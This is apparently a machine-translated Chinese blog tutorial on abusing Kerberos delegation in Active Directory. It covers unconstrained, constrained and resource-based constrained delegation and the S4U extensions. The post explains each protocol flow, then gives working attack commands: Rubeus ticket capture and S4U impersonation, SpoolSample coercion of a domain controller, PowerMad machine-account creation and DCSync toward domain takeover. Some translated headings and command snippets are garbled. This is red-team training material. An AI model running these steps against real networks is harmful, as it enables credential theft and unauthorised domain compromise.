Skip to main content

Kerberos委派的利用

Kerberos 委托解决了双跳问题,但是,攻击者也可以滥用委托来获得远程代码执行并转移到其他机器上。 委托的概念可能很复杂,但我会尽力使其简单易懂!

约束委派

Kerberos 委派使用户或服务能够代表另一个用户对另一个服务进行操作。 一个典型的场景是,用户向 IIS 服务器进行身份验证,然后 IIS 服务器代表用户向 MSSQL 服务器进行身份验证。

不受约束的委派可以分配给计算机或用户,但主要是计算机。 配置可以在域控制器上完成。 从系统管理员的角度来看,我们可以在委派选项卡上选择“信任此计算机以委派给任何服务(仅限 Kerberos)”选项来为域计算机配置无约束委派。

 

我们提到委托解决了双跳问题,那么无约束委托是如何解决的呢? 如果一台计算机配置了无约束委派,当用户访问 IIS(前端服务)服务器时,KDC 还包括用户的 TGT 到 TGS 票证。 然后,IIS 服务器提取用户的 TGT 并将其缓存在内存中。 之后,IIS 服务器使用用户的 TGT 代表用户访问 MSSQL(后端服务)服务器。 但问题是由于用户的 TGT 缓存在 IIS 服务器的内存中,IIS 服务器可以使用用户的 TGT 代表用户对任何其他服务进行操作,这意味着用户被 IIS 服务器冒充。 如果 IIS 服务器受到威胁,攻击者可以从内存中提取所有 TGT 并冒充这些用户。 更糟糕的是,如果缓存了高权限用户的 TGT,例如域管理员的 TGT,攻击者就能够接管整个域和林。

让我们详细解释一下步骤!

(Ref: https://www.pentesteracademy.com/video?id=1596)

第 1 步:用户到 DC

用户请求 TGT。

第 2 步:DC 到用户

用户获得 TGT。

第 3 步:用户到 DC

用户请求 TGS 票。

第 4 步:DC 到用户

用户获得 TGS 票。

第 5 步:用户到 IIS 服务器

用户发送 TGT 和 TGS 票据。

第 6 步:IIS 服务器到 DC

IIS 服务器使用用户的 TGT 向 DC 请求 TGS 票证以访问 MSSQL 服务器。

第 7 步:IIS 服务器到 MSSQL 服务器

IIS 服务器代表用户访问 MSSQL 服务器。

枚举

Powerview:

Get-NetComputer -Unconstrained | select dnshostname

域控制器总是配置无约束委派,但它没有帮助。

利用

1:妥协配置无约束委派的机器。

2:使用rubeus实时监控缓存的TGT(需要本地管理员权限)。

rubeus.exe monitor /interval:5 /nowrap

3:等待高权限用户访问本机服务,如smb share。 或者我们可以使用 spoolsample 通过 MS-RPRN RPC 接口将一台机器强制到这台机器上。

spoolsample.exe dc srv02

我们可以在任何 Windows 域机器上执行该命令。

4:将捕获的 TGT 保存为 kirbi 文件。

5:将工单导入当前会话。

6:访问内部资源,如\\dc\c$。 在这种情况下,我们得到了 dc 机器帐户的 TGT,机器帐户没有本地管理员权限,但有一种解决方法可以给我们 SYSTEM 权限(稍后会提到)。 既然是域控制器,我们可以使用DCSync权限来获取域管理员的hash来pwn域!

 

需要注意的是,非约束委派不仅可以跨域,还可以跨森林。但如果是跨森林的话,我们需要确保 TGTDelegation 是启用的,虽然默认是禁用的。我们需要在目标 DC 上执行命令

netdom trust <目标域> /domain:<本地域> /EnableTgtDelegation

 

约束委派

与无约束委托相比,约束委托更安全,因为服务器不再缓存用户的 TGT。 Intead,允许服务器用自己的 TGT 为用户请求 TGS 票证,并且服务器只能代表用户访问指定的服务器和服务。 例如,IIS 服务器只能代表用户访问机器 client01 上的 cifs 和 eventsystem 服务。

从系统管理员的角度来看,可以像这样配置约束委派,选择“信任此计算机仅委派给指定的服务”选项。 它有 2 个子选项,我们注意到选择了“使用任何身份验证协议”,如果我们选择“仅使用 Kerberos”会发生什么? 我稍后会解释。 除了机器之外,服务帐户也可以配置约束委派。

 

在这种情况下,除了机器 client01 上的 cifs 服务外,还指定机器 client01 上的服务事件系统。 但它看起来并不令人兴奋,但不用担心! 虽然指定了服务,但我们可以使用备用服务名称技巧来绕过它,因为服务名称不会被 S4U 验证并且它没有在票证中加密。

那么,让我们来看看约束委托的整个过程。

(Ref: https://www.pentesteracademy.com/video?id=1597)

第 1 步:用户到 IIS 服务器

用户通过 NTLM 身份验证向 IIS 服务器进行身份验证,只要身份验证不是 Kerberos。

第 2 步:IIS 服务器到 DC

IIS 服务器利用 S4U2Self 请求 TGS 票证供用户访问自己(IIS 服务器)

第 3 步:DC 到 IIS 服务器

KDC 将可转发的 TGS 票证返回给 IIS 服务器

第 4 步:IIS 服务器到 DC

IIS 服务器利用 S4U2Proxy 请求 TGS 票证让用户访问 SQL 服务器

第 5 步:DC 到 IIS 服务器

KDC 将 TGS 票证返回给 IIS 服务器

第 6 步:IIS 服务器到 SQL Server

IIS 服务器代表用户使用可转发的 TGS 票证访问 SQL 服务。

枚举

Powerview:

Get-NetComputer -TrustedToAuth

(Service Account)

Get-NetUser -TrustedToAuth

开发

1:危害配置了约束委派的机器或用户。

2:为目标机器或服务帐户请求 TGT。

场景 1:我们已经拥有本地管理员权限,或者我们知道他们的凭据。

rubeus.exe asktgt /user:srv-1$ /aes256:[…] /nowrap

场景 2:我们没有本地管理员权限,也不知道他们的凭据。

rubeus.exe tgtdeleg /nowrap

3:将TGT另存为文件

Kali上

echo ‘<..ticket..>’ | base64 -d > xxx.kirbi

在Windows上

[System.IO.File]::WriteAllBytes(“C:\windows\temp\xxx.kirbi”,[System.Convert]::FromBase64String(“<..ticket..>”))

4:冒充特权用户并请求 TGS 票证以访问目标机器上的 CIFS 服务。 例如,特权用户可以是目标机器的本地管理员,有时我们甚至可以冒充域管理员。 但请注意,域用户可以配置为无法委派。 我提到服务名称不会被验证,所以即使目标服务是事件系统,我们也可以将其修改为 cifs 服务。

命令应该是

rubeus.exe /impersonateuser:<high privileged user> /msdsspn:<service>/<fqdn> /user:<user> /ticket:srv01.kirbi /altservice:cifs /nowrap /ptt

5:ticket被导入内存,所以我们可以在client01上访问C$。

 

 

基于资源的约束委派

考虑配置约束委派需要域控制器上的 SeEnableDelegationPrivielge 权限,这意味着通常只有域管理员可以配置它。但是,配置基于资源的约束委派(RBCD)不需要它,系统管理员可以为机器配置RBCD。这意味着,资源本身可以决定信任谁。

为了配置约束委派,IIS 服务器配置了 msDs-AllowedToDelegateTo 属性。 RBCD 通过在 MSSQL 服务器上添加 msDS-AllowedToActOnBehalfOfOtherIdentity 属性来工作。该属性应该是 IIS 服务器的 SID。

需要配置 RBCD。前端服务(这里是 IIS 服务器)应该有 SPN,因为前端服务需要在 S4U2Self 过程中请求 TGS 票证供用户访问自己。如果前端服务不是机器账号或者服务账号,没有意义

枚举

如果拥有的用户或机器拥有对另一台机器的 GenetricWrite(或更高权限)权限。

开发

1:新建机器账号。如果您已经拥有拥有机器的 SYSTEM 权限,那也没关系。

导入 PowerMad.ps1 脚本工具。

New-MachineAccount -MachineAccount rbcd -Password $(ConvertTo-SecureString ‘123123’) -AsPlainText -Force)

2: 将 AllowedToActOnBehalfOfOtherIdentity 属性添加到机器 SRV01(后端服务),该值应为 client01 的(前端服务)SID。

导入 Active Directory 模块

Set-ADComputer [back end server] -PrincipalsAllowedToDelegateToAccount -Server [DC IP] -Verbose

3:类似于约束委派部分的步骤。 利用 S4U 冒充高权限用户获取 TGS 票证以访问后端服务器的资源。 但首先,我们需要知道添加的计算机帐户的哈希密码。

rubeus.exe hash /domain:<domain> /user:rbcd$ /password:<password>

然后滥用S4U,访问后端服务器上的资源。

rubeus.exe s4u /user:rbcd$ /aes256:<…> /impersonateuser:<high privileged user> /msdsspn:<service>/<fqdn> /altservice:http,host,cifs /ptt

S4U

我们在约束委派和 RBCD 部分讨论了 S4U2Self 和 S4U2Proxy。您可能对它们感到困惑,不用担心,我会向您解释。

S4U2自我

它代表用户请求 TGS 票证以访问前端服务器。

滥用 S4U2Self

机器帐户本身没有本地管理员权限。例如,我们可以捕获机器帐户的 TGT,但我们不能直接移动到具有本地管理员权限的机器。实际上有一个解决方法,您可以查看这篇文章:https://cyberstoph.org/posts/2021/06/abusing-kerberos-s4u2self-for-local-privilege-escalation/。 ZeroPoint Security 的课程 RTO 中也说明了一种方法,我们可以使用工具 Asn1Editor 修改 S4U2Self 后返回的 TGS,将所有出现的机器账号替换为 cifs 和 fqdn。例如,将 srv01$ 替换为 cifs 和 srv01.blackops.local。但这两种方法背后的理论是相同的,服务名称不会被验证并且是未加密的。

S4U2代理

它代表用户请求 TGS 票证以访问后端服务。

那么为什么没有选择“仅使用 Kerberos”呢?如果选中,则使用 Kerberos 对前端服务(IIS 服务器)进行身份验证,S4U2Proxy 可以使用用户提供的可转发 TGS 票证。通过这种方式,我们需要用户交互来窃取用户的 TGS 票证。

比较

无约束委派:前端服务器配置无约束委派,它代表经过身份验证的用户请求访问域中的任何资源。

约束委派:前端服务器的 msDS-AllowedToDelegateTo 属性配置后端服务器的 SPN。前端服务器使用其身份 (TGT) 代表经过身份验证的用户请求访问指定后端服务器上的指定服务。模式是 A 信任 B。

基于资源的约束委派:后端服务器的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性配置前端服务器的 SID。这意味着,后端服务器允许前端服务器代表其他用户访问自己的资源。模式是 B 信任 A。